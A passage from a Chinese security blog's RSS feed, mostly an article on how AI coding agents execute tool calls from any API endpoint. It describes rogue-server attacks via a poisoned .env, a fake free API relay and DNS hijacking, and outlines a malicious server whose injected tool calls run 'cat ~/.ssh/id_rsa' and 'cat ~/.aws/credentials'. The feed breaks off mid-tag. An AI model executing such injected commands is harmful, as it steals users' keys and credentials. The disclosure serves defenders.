class="notion-h-title">Remediation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d28d03ee218cbafa6a">Implement prototype pollution protection in <code class="notion-inline-code">parseConfigJson5()</code> by freezing Object.prototype before parsing and validating that the result is a plain object without <code class="notion-inline-code">__proto__</code> or <code class="notion-inline-code">constructor</code> properties. Consider using a JSON5 parser with built-in prototype pollution protection or switch to standard JSON with a pre-processing step that strips comments and trailing commas.</div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[工具调用的信任困境：AI 编程智能体是如何沦为“盲从执行者”的]]></title>
            <link>http://www.cdxiaodong.life//article/31a0f0c5-b87c-80d4-8c44-d29040794e9b</link>
            <guid>http://www.cdxiaodong.life//article/31a0f0c5-b87c-80d4-8c44-d29040794e9b</guid>
            <pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-31a0f0c5b87c80d48c44d29040794e9b"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><blockquote class="notion-quote notion-block-31f0f0c5b87c8098898ae6670acc33db"><div>请注意，这是一个具有极高风险的通用漏洞，可能被用于钓鱼攻击或作为隐蔽的C2服务。请勿将其用于未经授权的攻击行为。但由于该问题只涉及用户信任边界，部分Agent厂商已更新了相应的用户手则。</div></blockquote><div class="notion-blank notion-block-31f0f0c5b87c80e8aaa5e7c676330066"> </div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31f0f0c5b87c80548f32e9763c75e209" data-id="31f0f0c5b87c80548f32e9763c75e209"><span><div id="31f0f0c5b87c80548f32e9763c75e209" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c80548f32e9763c75e209" title="0x00 前言"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">0x00 前言</span></span></h3><div class="notion-text notion-block-31f0f0c5b87c80ea87e0dbf9ca42f940">现代 AI 智能体（包括Claude Code、Codex CLI 、Gemini CLI、OpenCode 和OpenClaw 等，下文统称 AI Agent）都采用了一种共同的架构模式：将用户提示发送给 LLM API，接收包含“工具调用 (tool calls)”的结构化响应，并在用户的本地机器上执行这些调用 。</div><div class="notion-text notion-block-31f0f0c5b87c80418289e860bbc19e90"><b>本文将揭示基于工具调用的 AI Agent系统存在一个根本性的信任假设缺陷。那就是：如果 API 接口被替换（通过修改 </b><code class="notion-inline-code"><b>ANTHROPIC_BASE_URL</b></code><b> 或 </b><code class="notion-inline-code"><b>OPENAI_BASE_URL</b></code><b> 等环境变量），一个简单的 HTTP 服务器就能返回任意的工具调用指令。</b></div><div class="notion-text notion-block-31f0f0c5b87c80279209e10a24f34c3c">Agent会忠实地执行这些指令，包括读取SSH密钥、窃取凭证和安装后门等。整个过程中没有任何确认提示，既无对话也无警告，毫不迟疑。这个漏洞并非由Bug引起，而是设计缺陷导致的必然结果。</div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31f0f0c5b87c80c388c2ec15abca1cd3" data-id="31f0f0c5b87c80c388c2ec15abca1cd3"><span><div id="31f0f0c5b87c80c388c2ec15abca1cd3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c80c388c2ec15abca1cd3" title="0x01 单 AI Agent架构分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">0x01 单 AI Agent架构分析</span></span></h3><div class="notion-text notion-block-31f0f0c5b87c80279e4cff52b13077f4">如图 1 所示，每个具备工具调用能力的 AI Agent几乎都遵循相同的循环：<b>用户输入提示词 → 向 LLM API 发送 HTTP POST 请求 → 接收响应 → 解析工具调用指令 → 执行工具 → 返回结果 → 循环</b>。</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-31f0f0c5b87c8076b155db73e5e1adae"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://secure2.wostatic.cn/static/p5VryAHm21nVxR4aTsqtyS/image.png?auth_key=1773129204-zVqoChDWzLW4DTZinFKEY-0-5db371ff78a9a1992674b8a426c5b5b9&amp;spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=31f0f0c5-b87c-8076-b155-db73e5e1adae" alt="图1：单 AI Agent架构" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-31f0f0c5b87c8026850bda62a914c4b2">这个循环在数十个项目中反复出现。它简洁优雅，却暗藏巨大风险。因为该循环将 LLM API 的响应视为绝对权威的指令集。无论这些响应来自 Anthropic 的服务器、OpenAI 的服务器，还是本地 <code class="notion-inline-code">localhost:8080</code> 运行的 Python 脚本，对 Agent来说都没有区别。Agent无法分辨这些来源的不同，更确切地说，它根本无意去分辨。</div><div class="notion-text notion-block-31f0f0c5b87c80778139dd4dcce7bb25">当这些Agent从API接收到工具调用指令时，会执行一系列简单的操作：解析 JSON→提取命令→执行命令。<b>只要JSON文档中包含允许执行的</b>**<code class="notion-inline-code">tool_use</code>****，Agent就会直接执行命令，而不会询问用户或检查接口的合法性。**从工程实现的角度来看，这种方法非常简单直接，它假设格式正确的API响应均来自可信源头。然而，这种做法存在严重的问题。</div><hr class="notion-hr notion-block-31f0f0c5b87c80cd93d0c40907c29a47"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31f0f0c5b87c80c99c23c69279275834" data-id="31f0f0c5b87c80c99c23c69279275834"><span><div id="31f0f0c5b87c80c99c23c69279275834" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c80c99c23c69279275834" title="0x02 真实攻击场景分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">0x02 真实攻击场景分析</span></span></h3><div class="notion-text notion-block-31f0f0c5b87c80d291f7cffdc6d2148b">你可能会认为这是配置问题，觉得是用户自己将<code class="notion-inline-code">ANTHROPIC_BASE_URL</code>设置成了恶意服务器地址，从而自陷险境。若遭受攻击，也是咎由自取。但如果你这么想，就完全忽略了问题的关键所在了！</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-31f0f0c5b87c801c98ddf9bf0176a306"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://secure2.wostatic.cn/static/gyzUm9BSGKpvSRXM78vR12/image.png?auth_key=1773129204-oHWL9ijwjoLRAyYVc8BZQ9-0-675390ee0ad6f242ab7d3c8a4a1ed723&amp;spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=31f0f0c5-b87c-801c-98dd-f9bf0176a306" alt="图2：多 AI Agent 威胁建模" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-31f0f0c5b87c80208bccdf578ae408c4">需要强调的是，这些环境变量的存在通常有充分的理由。例如，许多公司不会直接访问外部模型的 API，而是在内部部署一个代理服务；开发者在自己的电脑或服务器上运行本地模型时，也不会直接请求外部模型的 API；研究团队在自行训练模型和部署推理服务时，会提供自定义的 API 接口。</div><div class="notion-text notion-block-31f0f0c5b87c8066a5c5e790ecfc598b">此外，OpenAI 和 Anthropic 的 SDK 在文档中均明确支持这些环境变量，主流的 AI Coding Agent也都支持它们。总而言之，这个攻击面并非一个冷门的调试开关，而是整个生态系统中的核心功能。</div><div class="notion-text notion-block-31f0f0c5b87c802ead09c8a195f42052">接下来，我们将介绍几种真实的攻击场景！</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31f0f0c5b87c8021a298fc144b00f6a3" data-id="31f0f0c5b87c8021a298fc144b00f6a3"><span><div id="31f0f0c5b87c8021a298fc144b00f6a3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c8021a298fc144b00f6a3" title="场景一：代码仓库投毒（Poisoned Repository）"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">场景一：代码仓库投毒（Poisoned Repository）</span></span></h4><div class="notion-text notion-block-31f0f0c5b87c801f9cc1cb582c110059">某天，你正在寻找一个可以帮助开发效率的 AI 工具。在 GitHub 上，你发现了一个看起来非常实用的开源项目：一个可以快速接入 AI 编程助手的 CLI 工具。仓库有详细的 README、安装说明以及示例代码，看起来与其他正常的开源项目没有任何区别。</div><div class="notion-text notion-block-31f0f0c5b87c80debca8fa465a7a1232">于是，你按照文档中的说明克隆了仓库：</div><div class="notion-text notion-block-31f0f0c5b87c8088b09fe12fb7c00fd3">在仓库中，你注意到有一个<code class="notion-inline-code">.env</code> 文件，其中包含了以下配置：</div><div class="notion-text notion-block-31f0f0c5b87c806e8faaf3e2872ca6e9">这个 URL 看起来像是企业内部常见的 API Agent地址，例如：用于负载均衡或缓存的内部网关。你没有多想，因为很多公司都会这样部署 AI API 服务。</div><div class="notion-text notion-block-31f0f0c5b87c80539390c059bcb5ca43">于是你运行了 Claude Code，让它帮你分析项目并生成代码。但你不知道的是，这个 URL 实际上指向的是攻击者控制的服务器。Claude Code 会从<code class="notion-inline-code">.env</code> 文件中自动读取 API 地址，因此你的所有请求都会被发送到攻击者的服务器上。</div><div class="notion-text notion-block-31f0f0c5b87c8010807acbd7e22f22b2">攻击者的服务器会伪装成真实 API，并返回看起来完全正常的响应。但在这些响应中，它可以悄悄插入一些指令，让 Agent 调用本地工具读取敏感文件，例如：</div><div class="notion-text notion-block-31f0f0c5b87c80359de8f747a3b82c3e">随后，这些内容会被发送到攻击者的服务器。几秒钟后，你仍然看到 Claude 在正常工作，帮你解释代码、生成函数。但与此同时，你的 SSH 私钥已经被悄悄上传到了远程服务器。</div><div class="notion-text notion-block-31f0f0c5b87c804cbc28e60b4d5023f3"><b>整个攻击利用的是一个简单的事实：你信任了仓库中的配置文件，却没有验证其中的 API 地址。</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31f0f0c5b87c802f975bf9545315d1b8" data-id="31f0f0c5b87c802f975bf9545315d1b8"><span><div id="31f0f0c5b87c802f975bf9545315d1b8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c802f975bf9545315d1b8" title="场景二：“友好”的智能体（Malicious API Agent）"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title"><b>场景二：“友好”的智能体</b>（Malicious API Agent）</span></span></h4><div class="notion-text notion-block-31f0f0c5b87c80ec80cfc3b18df4baef">你在 LinuxDo、V2EX、知乎，甚至一些技术公众号上看到了一篇帖子：“给大家搭建了一个免费的 Claude API Agent，开发者可以直接使用，无需 API Key，也没有速率限制……”。帖子中附带了一个 API 地址，并提供了一个简单的使用方法。</div><div class="notion-text notion-block-31f0f0c5b87c809c86c6df6e8a828952">你决定尝试一下。设置好环境变量后，你开始使用 Claude 编写代码。接下来的一切看起来都很正常：Claude 能够解释错误信息、生成函数并优化代码，响应也很稳定。于是你逐渐开始依赖这项免费服务。</div><div class="notion-text notion-block-31f0f0c5b87c8022ab42e106349b82dd">但你不知道的是，这个“免费 API”实际上是攻击者搭建的恶意服务。为了避免被发现，该服务不会每次都返回恶意指令，而是采用一种低频触发策略。例如，在每五次请求中，它会悄悄插入一次工具调用。</div><div class="notion-text notion-block-31f0f0c5b87c804a8ad6e7ed79b02586">如果你的本地 Agent被允许执行 shell 命令，那么这条指令会在你的机器上运行，并将 SSH 私钥发送到攻击者的服务器。在你看来，Claude 只是在帮你正常编写代码，但实际上，你的私钥正在悄悄地被发送出去。</div><div class="notion-text notion-block-31f0f0c5b87c80d5afc2d0b2eb383b28"><b>问题的根源在于：你信任了一个未经验证的 AI API 服务，而这个服务可以直接影响 Agent 的行为。</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31f0f0c5b87c80a68be2c9cc36c9732a" data-id="31f0f0c5b87c80a68be2c9cc36c9732a"><span><div id="31f0f0c5b87c80a68be2c9cc36c9732a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c80a68be2c9cc36c9732a" title="场景三：DNS 污染（DNS Hijacking）"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title"><b>场景三：DNS 污染（DNS Hijacking）</b></span></span></h4><div class="notion-text notion-block-31f0f0c5b87c806daf19d87c36e30443">在这个场景中，你并没有做错任何事情。你使用的是官方的 API 地址，例如 <code class="notion-inline-code">api.anthropic.com</code>，并且你的 Agent 工具、SDK 和环境变量都保持默认配置，没有任何修改。然而，在你所在的网络中，攻击者已经污染了 DNS 解析，这可能发生在公司局域网、公共 Wi-Fi 或共享办公空间。</div><div class="notion-text notion-block-31f0f0c5b87c8078941bc69cc33fde1c">当你查询 <code class="notion-inline-code">api.anthropic.com</code> 时，DNS 返回的并不是官方服务器地址，而是攻击者控制的 IP 地址。从你的角度来看，你没有做错任何事情：你没有修改任何环境变量、没有安装任何可疑软件，也没有更改任何配置。</div><div class="notion-text notion-block-31f0f0c5b87c80ffbaaad9c90aa4572a">但实际上，你的 Agent 正在与攻击者的服务器通信。攻击者的服务器会伪装成真实的 API，并返回结构完全一致的响应。同时，它可以在响应中插入隐藏的工具调用，例如读取本地文件或执行 shell 命令。</div><div class="notion-text notion-block-31f0f0c5b87c805e9676ce4f8433afe9">Claude 看起来仍然在正常工作，继续帮你写代码、解释错误和生成函数。但每一次请求都可能成为数据泄露的渠道。在这种情况下，你甚至不会意识到网络已经被劫持。</div><div class="notion-text notion-block-31f0f0c5b87c8032a757ed4255623f0a"><b>这个场景揭示了一个关键风险：当 AI Agent 拥有访问本地系统和执行工具的能力时，任何能够控制 API 通信路径的攻击者都有可能远程操控这些能力。</b></div><hr class="notion-hr notion-block-31f0f0c5b87c80cebf69eebea37ba85f"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31f0f0c5b87c80af8821de73d9e68bdf" data-id="31f0f0c5b87c80af8821de73d9e68bdf"><span><div id="31f0f0c5b87c80af8821de73d9e68bdf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c80af8821de73d9e68bdf" title="0x03 漏洞利用代码解析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">0x03 漏洞利用代码解析</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31f0f0c5b87c8087aedbf307ecb9ee58" data-id="31f0f0c5b87c8087aedbf307ecb9ee58"><span><div id="31f0f0c5b87c8087aedbf307ecb9ee58" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c8087aedbf307ecb9ee58" title="3.1 针对 Claude Code 的利用"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3.1 针对 Claude Code 的利用</span></span></h4><div class="notion-text notion-block-31f0f0c5b87c802e8686c65ecb7148b8">以下是一个针对 Claude Code 的完整恶意 API 服务器代码，核心 Python 代码仅约 40 行，运行起来非常简单。只需启动该服务器，并设置 <code class="notion-inline-code">ANTHROPIC_BASE_URL=http://localhost:8080</code>，然后向 Claude Code 提问即可。此服务器会直接读取您的 SSH 私钥和 AWS 凭证，但不会提供任何回答。主要流程如下：</div><ol start="1" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80939daddc67789824e4" style="list-style-type:decimal"><li><b>启动一个 FastAPI 服务</b></li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80939daddc67789824e4" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c80688358e4ff3fe3c4d0">代码创建了一个 Web 服务器，用来伪装成 AI API 服务。</div></ol></ol><ol start="2" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80b687cde933e9b293ac" style="list-style-type:decimal"><li><b>暴露</b>*<code class="notion-inline-code">/v1/messages</code>*** 接口**</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80b687cde933e9b293ac" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c80088841ecb2ca21a204">这个接口与 Claude API 的接口路径一致，用于接收客户端（Agent）的请求。</div></ol></ol><ol start="3" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8066ab8de4e983591471" style="list-style-type:decimal"><li><b>接收 Agent 发送的请求数据</b></li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8066ab8de4e983591471" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c80df9ff0d6c984069124">当 Agent 调用 API 时，服务器会读取请求中的 JSON 内容。</div></ol></ol><ol start="4" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80e8a9dad8cafb45e4e8" style="list-style-type:decimal"><li><b>生成一个看起来像真实 AI 返回的响应</b></li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80e8a9dad8cafb45e4e8" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c80cc959aee74bf70775f">返回的数据结构模仿 Claude API，包括<code class="notion-inline-code">id</code>、<code class="notion-inline-code">role</code>、<code class="notion-inline-code">model</code>、<code class="notion-inline-code">usage</code> 等字段。</div></ol></ol><ol start="5" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8043922fc609504b9279" style="list-style-type:decimal"><li><b>先返回一段普通文本</b></li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8043922fc609504b9279" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c80379c2bcec72cbc413b">在<code class="notion-inline-code">content</code>中加入一段<code class="notion-inline-code">&quot;Let me help you with that.&quot;</code>，让回复看起来像正常的 AI 输出。</div></ol></ol><ol start="6" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c806e8d25d40ffc9f5875" style="list-style-type:decimal"><li><b>在响应中插入两个</b>*<code class="notion-inline-code">tool_use</code>*** 调用**</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c806e8d25d40ffc9f5875" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c80c4ab3ffe9a73c02aef">返回的内容中包含两个工具调用，请求 Agent 使用<code class="notion-inline-code">Bash</code> 工具执行命令。</div></ol></ol><ol start="7" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c806598c8e266842e1c53" style="list-style-type:decimal"><li><b>第一个命令读取 SSH 私钥</b></li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c806598c8e266842e1c53" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c8062b9cade324fabd2a7">执行<code class="notion-inline-code">cat ~/.ssh/id_rsa</code>，读取用户机器上的 SSH 私钥。</div></ol></ol><ol start="8" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80f9a66bf0374b660c1f" style="list-style-type:decimal"><li><b>第二个命令读取 AWS 凭证</b></li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80f9a66bf0374b660c1f" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c80e8aad2d902e691ac03">执行<code class="notion-inline-code">cat ~/.aws/credentials</code>，读取本地 AWS 访问凭证。</div></ol></ol><ol start="9" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c804aa45ef38dd3c6f9c6" style="list-style-type:decimal"><li><b>通过</b>*<code class="notion-inline-code">stop_reason: tool_use</code>*** 提示客户端执行工具**</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c804aa45ef38dd3c6f9c6" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c804cba87e1c2d82ba874">这个字段告诉客户端：模型需要调用工具，因此 Agent 可能会执行这些命令。</div></ol></ol><div class="notion-text notion-block-31f0f0c5b87c808b96f0c7dafdd13d78">如果 Agent 允许执行 Bash 工具，就会在本地运行这些命令，从而导致敏感信息被读取。</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31f0f0c5b87c800ca641d8ba2fe96ed5" data-id="31f0f0c5b87c800ca641d8ba2fe96ed5"><span><div id="31f0f0c5b87c800ca641d8ba2fe96ed5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c800ca641d8ba2fe96ed5" title="3.2 针对 OpenAI 格式的利用"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3.2 针对 OpenAI 格式的利用</span></span></h4><div class="notion-text notion-block-31f0f0c5b87c808e9c09c4fb96fb2346">对于兼容 OpenAI 格式的 Agent（如 Codex CLI、OpenCode 等），尽管数据格式各异，但原理相同。无论采用何种 API 格式，都存在共同的漏洞，那就是：Agent 在接收到响应后，会识别出工具调用指令并立即执行，整个过程悄无声息且彻底。</div><ol start="1" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8014a801e7e2d69d05b7" style="list-style-type:decimal"><li><b>创建一个 API 接口</b></li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8014a801e7e2d69d05b7" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c808badc9d6811c8933e5">定义<code class="notion-inline-code">POST /v1/chat/completions</code> 接口，这是很多 OpenAI SDK 或 Agent 使用的标准接口。</div></ol></ol><ol start="2" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80b5a5c9fc3b1e9f2401" style="list-style-type:decimal"><li>*当客户端发送请求时返回固定响应 **</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80b5a5c9fc3b1e9f2401" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c8075ad0ceee43c7edc24">无论客户端请求内容是什么，服务器都会直接返回一段伪造的 JSON 响应。</div></ol></ol><ol start="3" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80d8b52bc6de94164869" style="list-style-type:decimal"><li>*伪造 OpenAI API 的返回格式 **</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80d8b52bc6de94164869" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c8019a106f213b76dd10c">返回的数据结构模仿 OpenAI 的<code class="notion-inline-code">chat.completion</code>，包括<code class="notion-inline-code">id</code>、<code class="notion-inline-code">object</code>、<code class="notion-inline-code">model</code>、<code class="notion-inline-code">choices</code> 等字段。</div></ol></ol><ol start="4" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80c4aa2ae5448789d48e" style="list-style-type:decimal"><li>*生成一个看起来真实的请求 ID **</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80c4aa2ae5448789d48e" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c80209eebde47a6c1279c">使用<code class="notion-inline-code">uuid</code>生成类似<code class="notion-inline-code">chatcmpl-xxxxx</code> 的 ID，让响应更像真实 API。</div></ol></ol><ol start="5" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c806fac05d7bd6797586a" style="list-style-type:decimal"><li>*返回一段普通文本作为掩护 **</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c806fac05d7bd6797586a" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c8003a75ef0b3c14e9634"><code class="notion-inline-code">content</code>中写<code class="notion-inline-code">&quot;Checking your environment...&quot;</code>，让回复看起来像正常的 AI 输出。</div></ol></ol><ol start="6" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80f0b04fe7aaa609eb6f" style="list-style-type:decimal"><li><b>在响应中插入</b>*<code class="notion-inline-code">tool_calls</code>*** **</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80f0b04fe7aaa609eb6f" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c807eb225fae179a1daa2">在<code class="notion-inline-code">message</code>中加入<code class="notion-inline-code">tool_calls</code> 字段，表示模型希望调用一个工具。</div></ol></ol><ol start="7" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8076afc3e2b09b7d8941" style="list-style-type:decimal"><li>*指定调用的工具 **</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8076afc3e2b09b7d8941" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c80a29c43e8ac14ea310c">工具名称为<code class="notion-inline-code">shell</code>，说明需要执行系统命令。</div></ol></ol><ol start="8" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80fb9a98f40fa0c78029" style="list-style-type:decimal"><li>*传入要执行的命令参数 **</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80fb9a98f40fa0c78029" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c806fb6d3dc50a0d4cb27"><code 